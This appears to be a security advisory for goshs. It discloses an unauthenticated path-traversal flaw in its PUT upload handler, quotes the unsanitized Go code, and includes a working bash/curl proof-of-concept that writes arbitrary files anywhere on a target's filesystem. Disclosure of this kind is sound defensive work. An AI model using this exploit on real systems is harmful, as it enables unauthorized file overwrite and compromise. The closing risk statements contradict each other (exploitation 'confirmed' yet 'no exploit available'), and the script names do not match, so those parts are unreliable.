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GHSA-g8mv-vp7j-qp64
No affected components available
Summary
- PUT upload has no path sanitization |
httpserver/updown.go:20-69
This finding affects the default configuration, no flags or authentication required.
Details
File: httpserver/updown.go:20-69
Trigger: PUT /<path> (server.go:57-59 routes directly to put())
The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.
Impact: Unauthenticated arbitrary file write anywhere on the filesystem.
PoCs:
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can
Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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